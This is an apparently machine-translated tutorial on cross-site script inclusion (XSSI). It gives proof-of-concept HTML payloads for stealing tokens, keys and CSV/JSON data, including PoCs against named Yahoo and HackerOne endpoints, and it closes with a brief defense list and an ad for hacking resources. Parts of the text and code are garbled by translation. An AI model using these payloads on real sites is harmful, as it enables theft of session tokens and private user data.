I. XSSI vulnerability principle

The same-origin policy

The same origin policy is the most basic and core policy in the Web application security model.

This policy is now used by all browsers that support JavaScript.

Same name means same domain name, same protocol, same port.

The same origin policy states that client scripts from different sources (JavaScript, ActionScript) cannot read or write to each other’s resources without explicit authorization.

This policy prevents malicious scripts on one page from accessing sensitive data on another page through the Document Object Model of that page.

In order to satisfy the same origin policy, browsers restrict different access behaviors. The restriction rules are generally as follows:

XSSI principle

An XSSI vulnerability is a cross-site scripting inclusion vulnerability that allows an attacker to include specific files/pages across domains by using the <script> tag (all tags with SRC or href attributes and some other tags can cross domains)

You can steal sensitive information from files that conform to JavaScript format.



Attackers include JavaScript files that can reveal user information.

The target data captured here, known as sensitive information, falls into several categories:

Authentication credentials CSRF Token user personal information, etc

Differences between XSSI, XSS, and CSRF

XSS attack is a kind of attack in which the attacker injects malicious client code into the website and tampers the client webpage through malicious script, so as to control the user’s browser or obtain the user’s private data when the user browses the webpage.

The malicious script that an attacker injects into a client web page usually includes JavaScript, but sometimes HTML and Flash.

There are many ways to carry out XSS attacks, but they all have in common: sending some private data such as cookies and sessions to the attacker, redirecting the victim to a website controlled by the attacker, and performing some malicious operations on the victim’s machine

CSRF (Cross-Site Request Forgery) refers to the act of impersonating a user to make a request (without the user’s knowledge) to complete a request against the user’s will (such as malicious post, deletion, password change, email, etc.). Generally, CSRF is implemented by XSS, so CSRF is often referred to as XSRF[Fake request by XSS].

XSS is more about code implementation (that is, write a JavaScript script with cross-site request capability to inject into a post, and then someone visits the post, this is an XSS attack), CSRF is more about an attack result, as long as a fake request is made then CSRF is considered

XSSI (Cross-Site Request Include) is a form of XSS, in which the browser does not prevent the Web page from loading resources such as images and text, which are usually hosted in other domains and servers.

For example, if ABC Bank has a script for reading users’ private account information, an attacker could include this script on their own malicious website, and when ABC Bank customers visit the attacker’s website, the attacker could extract user information from ABC Bank’s servers.

On the surface, XSSI and CSRF look similar because in both cases, the request is sent from a malicious page to another domain, and in both cases, the request is executed in the context of the logged-in user.

The key difference is the goal.

In CSRF, an attacker wants to perform malicious operations within the victim’s page, such as transferring money in an online banking application.

In XSSI, an attacker wants to leak data across domains so that the attack can be repeated.

The relationship with JSONP hijack

JSONP hijacking and others use JS to insert malicious code into the insertion function and send sensitive data to the server of the attacker. In fact, it is to make a request to the web page invaded by JSONPJACK and let its victim client execute the inserted malicious code

While XSSI mainly obtains the sensitive data in the dynamic JS file generated by the server for each client to achieve the purpose of information orientation. Such information may include the user’s login credentials, which can seriously cause any user account to take over.

II.XSSI vulnerability utilization and POC

XSSI is generally divided into three cases.

But the usage is similar or even the same (like XSS for reflection and storage). We can distinguish the three cases as follows:

Static JavaScript (regular XSSI)

Sensitive information can be obtained by directly accessing the JS, but in general, JS containing sensitive information after authentication is attacked

Assume that the sensitive content is set in a global variable. Here is a real-world example:

var privateKey ="-----BEGIN RSA PRIVATE KEY-----

....

-----END RSA PRIVATE KEY-----",

    keys =[

{ name:'Key No 1', apiKey:'0c8aab23-2ab5-46c5-a0f2-e52ecf7d6ea8', privateKey: privateKey },

{ name:'Key No 2', apiKey:'1e4b8312-f767-43eb-a16b-d44d3e471198', privateKey: privateKey }

];

Use of POC:

<html>

<head>

<title>Regular XSSI</title>

<scriptsrc="https://www.vulnerable-domain.tld/script.js"></script>

</head>

<body>

<script>

      alert(JSON.stringify(keys[0]));

</script>

</body>

</html>

Dynamic JavaScript

1. Sensitive information is stored in global variables

http://vuln.com/dynamic.js

var token='secret';

Using the POC

http://attacker.com/xssi.html

<! DOCTYPE html> <html> <head> <title>xssi</title> </head> <body> <scriptsrc="http://vuln.com/dynamic.js"></script> <script>alert(token); </script> </body> </html>

2. Sensitive information is processed by an external function, so the function can be overwritten

http://vuln.com/dynamic1.js

(function(){ var token='secret'; doSomeThing(token); }) ();

Use of POC:

http://attacker.com/xssi1.html

<! DOCTYPE html> <html> <head> <title>xssi1</title> </head> <body> <script>function doSomeThing(data){alert(data); }</script> <scriptsrc="http://vuln.com/dynamic1.js"></script> </body> </html>

3. Using prototype chains to steal sensitive information

For unconventional cases, consider using a prototype chain to retrieve data

http://vuln.com/dynamic2.js

(function(){ var token='secret'; var data=token.trim(); }) ();

Use of POC:

http://attacker.com/xssi2.html

<! DOCTYPE html> <html> <head> <title>xssi2</title> </head> <body> <script>String.prototype.trim =function(){alert(this); }</script> <scriptsrc="http://vuln.com/dynamic2.js"></script> </body> </html>

The JavaScript

1.IE bug causes error message leakage (IE 9 and IE 10)

In order to prevent cross-domain leakage of JavaScript error messages, mainstream browsers now only have fixed error messages for externally loaded JS files, such as “script error”. This is not necessarily the case when it comes to IE9 and IE10.

In general, in the case of syntax errors in external JS, the browser will only provide fixed error messages,

However, in the case of an error at runtime, the browser will provide detailed error information.

For example, “foo undefined”, some browsers can leak information if they allow the foreign domain JS to reply with detailed error messages.

In other words, if the content of a web page can be recognized by JS as JavaScript, then it is possible to get the target content through the error message.

For example, the target page

HTTP/1.1200 OK

Content-Type: text/csv

Content-Disposition: attachment; filename="a.csv"

Content-Length:13

1,abc,def,ghi

Attacker sets error display

#! html <SCRIPT>window.onerror =function(err){alert(err)}</SCRIPT> <! -- load target CSV --> <SCRIPT src="(target data's URL)"></SCRIPT>

Once loaded successfully, the page will display “‘ ABC ‘is undefined”

This happens because the browser recognizes the target as JavaScript, and then ABC is recognized as some undefined variable.

When this is the case, the browser allows the page to catch error messages from different pages.

To sum up, data that has the potential to be exploited is data that can be identified, or somehow identified as valid JS.

It’s important to note, however, that the bug only appears in IE 9 and IE 10.

2. Retrieving other types of data via UTF-16 encoding (IE version less than 10)

As you can see, this is only useful for some fuckin ‘thing like CSV,

So we did more research to see if we could get different formats of data,

Then we found that UTF-16 encoding could achieve our goal.

It’s actually a very simple trick in itself so let’s say on page A, we put in charset= “utf-16be”

#! html <! --set an error handler --> <SCRIPT>window.onerror =function(err){alert(err)}</SCRIPT> <! -- load target JSON --> <SCRIPT src="(target data's URL)" charset="UTF-16BE"></SCRIPT>

And then the JSON data is going to look like this

HTTP/1.1200 OK

Content-Type: application/json

Content-Disposition: attachment; filename="a.json"

Content-Length:39

{"aaa":"000","bbb":"111","ccc":"222"}

When a response lacks a character set specification, it will be forced to transcode to a fixed encoding by the charset property. We have used this trick on many well-known browsers, including IE 9.

After testing this code, we popped up a window for ourselves.



We can see a string of garbled code, because, when the browser fetches the data of the target page, it encodes it once, and then decodes it once on our page through the charset specified character set.



It is easy to conclude that we can retrieve the original information by reencoding the garbled code

However, it is important to note that the attack can only be successful if the encoded information is recognized by the browser as a valid JS identifier, which is an important condition.

The encoding is different for different platforms, IE has more characters that are recognized as valid JS identifiers than for other platforms, and IE’s ECMAScript specification is no different from other browsers in general.

For example, for IE ‘3Q’ (U+3371, ㍱) is considered to belong to ‘Symbol, Other [So]’ in Unicode encoding, which is a Symbol.

In general this form of authentication should not happen in any browser, but IE may be a little more than 2B.

We spent a lot of time figuring out what kind of combinations browsers consider valid JS identifiers. Alphanumeric combinations when encoded as UTF-16, IE 9 considers 99.3% of them to be valid JS identifiers, higher than Chrome and Firefox.

The results are shown in the following figure



One thing to be aware of is that in IE 10 or later, the attack may not work because IE 10 refuses to encode BOM with no null bytes alive as UTF16.

3. Harmony Proxy Bug in Chrome/Firefox

Harmony is a new feature in ECMAScript 6 that is similar to Java’s reflection classes, which define lookup, allocation, and function calls for object properties

In the course of our research on these new features, we found that this feature can be used in XSSI attacks

#! html <! --set proxy handler to window.__proto__ --> <SCRIPT> var handler ={ has:function(target, name){alert("data="+ name); returntrue}, get:function(target, name){return1} }; window.__proto__ =newProxy({}, handler); </SCRIPT> <! -- load target CSV --> <SCRIPT src="(target data's URL)"></SCRIPT>

Note that window.proto defines a proxy object. When an undefined global variable is accessed, it will be handled by handler.

Then the CSV file looks like this:

HTTP/1.1200 OK

Content-Type: text/csv

Content-Disposition: attachment; filename="a.csv"

Content-Length:13

1,abc,def,ghi

When visiting the attack page, if the attack is successful for so long, you will receive “data= ABC”, “data=def”, “data=ghi” pop-up window, which we have verified in both Firefox and Chrome.

4. The exhaustion

Suppose an attack page loads the following CSV file via JS.

HTTP/1.1200 OK

Content-Type: text/csv

Content-Disposition: attachment; filename="a.csv"

Content-Length:8

1,xyz123

Once loaded we will get an error with xyz123 undefined

In other words, if we had defined the identifier before loading the external file, we would not have suffered the error, and we would have known that xyz123 exists in the external file.

In other words, we need a proper way to detect if an error has occurred.

Generally, the browser does not provide detailed external error information, but it still returns a general error flag.

So it’s still possible to exhaust information.

In general, we find three kinds of exhaustive methods

The first is binary search.

For example, if you know that the target will be one of “xyz121”, “xyz122”, “xyz123”, or “xyz124”, you can define the first two variables and see if there are any errors, then define the last two, and then narrow the target.

The second way is to use the JS getter, like below

#! html <! --set getters --> <SCRIPT> Object.defineProperty(window,"xyz121",{get:function(){alert("value=xyz121")}}); Object.defineProperty(window,"xyz122",{get:function(){alert("value=xyz122")}}); Object.defineProperty(window,"xyz123",{get:function(){alert("value=xyz123")}}); Object.defineProperty(window,"xyz124",{get:function(){alert("value=xyz124")}}); </SCRIPT> <! -- load target CSV --> <SCRIPT src="(target data's URL)"></SCRIPT>

Is the target access window. * * | | | | | | will trigger the rules above.

The third is to use VBScript to get the JSON array

This idea comes from the research done by Hasegawa, which combines VBScript and JSON to attack (4).

The target page looks like this

HTTP/1.1200 OK

Content-Type: application/json

Content-Disposition: attachment; filename="a.json"

Content-Length:12

[1,"xyz123"]

Then we call VBScript in our attack interface

#! html <SCRIPT language="vbscript"> Sub[1,"xyz121"]:MsgBox"value=xyz121":EndSub Sub[1,"xyz122"]:MsgBox"value=xyz122":EndSub Sub[1,"xyz123"]:MsgBox"value=xyz123":EndSub Sub[1,"xyz124"]:MsgBox"value=xyz124":EndSub </SCRIPT> <! -- load target JSON asVBScript--> <SCRIPT src="(target data's URL)" language="vbscript"></SCRIPT>

Similar to the previous attack, the target value is obtained through exhaustion. However, VBScript only works with IE

5. The CSV

The above information about CSV is only obtained if the target string is not enclosed in quotation marks, but again there are a few tricks to get around this limitation.

So let’s say that a CSV is long like this B.

1,"___","[email protected]","03-0000-0001"
2,"foo","[email protected]","03-0000-0002"
...
98,"bar","[email protected]","03-0000-0088"
99,"___","[email protected]","03-0000-0099"

Assuming the attacker is able to insert his own strings, you can simply add double quotation marks as specified in the RFC-related CSV (RFC 4180 (12)) to bypass this restriction.

for example

1,"\"",$$$=function(){/*","[email protected]","03-0000-0001"

2,"foo","[email protected]","03-0000-0002"

...
98,"bar","[email protected]","03-0000-0088"

99,"*/}//","[email protected]","03-0000-0099"

One of the more painful questions is how to get multiple lines of information, since multiple lines are illegal in JS

In the example above, we attack the target data by using $$.toString() to get the function’s distance.

This attack works on all browsers.

One way to get multiple lines of content that works in Chrome and Firefox is to get multiple lines of content in the Ecmascript6 template string using backquotes.

XSSI vulnerability instances

Yahoo XSSI vulnerability enables user information theft

In the Yahoo Vulnerability Crowdtest project, BurpSuite was used to perform packet capture analysis and found the following request:



It turns out to be a JSONP server. In the Yahoo Web API, the. Crumb value is actually a random string

It is related to the user’s session and authentication values, and if the GET parameter. Crumb value is invalid in the request, the response is as follows:



If you can somehow steal the victim’s valid. Crumb value, then you can steal the victim’s specific account information value.

Therefore, all requests containing a valid. Crumb value were searched in BurpSuite’s grab package, and such information was found in some dynamic JavaScript file

The JavaScript file is located

https://messenger.yahoo.com/e….

The source code is as follows:

The XSSI vulnerability actually works like this, allowing an attacker to bypass the raw boundaries and steal certain types of data,

The SRC attribute of script tags is used to break through the same-origin policy (SOP), which means that in script tags, browsers do not prevent web pages from loading third-party resources such as images and text.

So in order to steal

https://messenger.yahoo.com/e…

A valid callback. Crumb value in the

https://jsapi.login.yahoo.com…

To get the session information of the relevant user. The POC code is as follows:

<html> <head> <title>Yahoo XSSi PoC</title> </head> <body> <divstyle="width:60%; margin-right:auto; margin-left:auto; margin-bottom:30px;" > <h1style="text-align: center;" >Proof of Concept</h1> <b>Dataset 1:</b> <divid="content1"style="width:100%; border:1px solid black; padding:10px; overflow: scroll; font-family: monospace;" ></div> <br/> <b>Dataset 2:</b> <divid="content2"style="width:100%; border:1px solid black; padding:10px; overflow: scroll; font-family: monospace;" ></div> </div> <script> function processDeviceUsers(data){ document.getElementById("content1").innerHTML = JSON.stringify(data); } window.onload =function(){ var config ={}; config_data ={}; config.merge =function(data){ config_data = data }; iris.initConfig(config); document.getElementById("content2").innerHTML = JSON.stringify(config_data); var src ="https://jsapi.login.yahoo.com/w/device_users?.crumb="+ config_data.session.logoutCrumb; var s = document.createElement('script'); s.setAttribute('src', src); document.body.appendChild(s); } </script> <scriptsrc="https://messenger.yahoo.com/embed/app.js"></script> < scriptsrc = "https://code.jquery.com/jquery-3.3.1.min.js" > < / script > < / body > < / HTML >

Effect:



HackerOne vulnerability: How to steal multiline strings using XSSI

Because browsers do not prevent pages in one domain from directly referencing resources in other domains

So we can introduce a resource from a third-party domain name into the script tag and see how it works

However, we are not able to read the content from the script tag of the third party domain.

Note that the script tag does not have to be a JS file, the text/ JavaScript tag does not need to be at the beginning of the file, and the file extension does not have to be “.js “.

The address of the HackerOne vulnerability is:

https://hackerone.com/reports…

This is part of the “Export” feature, which allows us to view or download the original report content.

When clicked, the browser sends the GET request shown in the image above.

This is an XHR request with an anti-CSRF token.

We can see the complete response information for a GET request in the browser:



To leak the contents of a Report across domains, all statements must be valid JavaScript statements.

Here is the report demo:



The first line is a tag statement (the “Title” is followed by a user-supplied Title), which is a valid JavaScript statement that can be followed by its own input parameters.

In order to get multiple lines of string data, there are also backquotes ().

Next, add a comment inside the closing backquote to mark the end of the string.

Now, you can embed the URL address given above in the script tag and extract the data you need remotely

POC is as follows:

<! DOCTYPE html> <html> <head> <metacharset='utf-8'/> <script> //Tagged template literals function demo( strings){ alert(strings); } </script> </head> <body> <scripttype='text/ecmascript'src='https://hackerone.com/reports/207802/export/raw?include internal_activities=false '></script> </body> </html>

There are only two known ways to control multiline strings in JavaScript (concatenation and backquote escape)

ECMAScript 6 also introduces an arrow function (Arrow_Functions), which allows developers to define functions using short characters.

Here’s a simple example:



Template Literals is a simpler way to handle multi-line strings.

IV.XSSI vulnerability defense

• X-Content-Type-Options is set to nosniff
• Don’t put sensitive data (session,token, etc.) in JavaScript files, and don’t put it in JSONP
• Prohibit the get
• Add token
• Custom XHR/HTTP requests

• ① more than 2000 network security must see e-books (mainstream and classic books should have)
• PHP Standard Library Information (Chinese Version)
• ③ project source code (40 or 50 interesting and classic hands-on project and source code)
• ④ Network security basic introduction, Linux operation and maintenance, Web security, penetration testing video (suitable for Xiaobai learning)
• ⑤ Learning Roadmap of Network Security System (Goodbye to the Learning of the Unpopular)
• ⑥ Hacking tools
• ⑦ 2021 network security /Web security/penetration test engineer Dachang face by

[Click my information to get]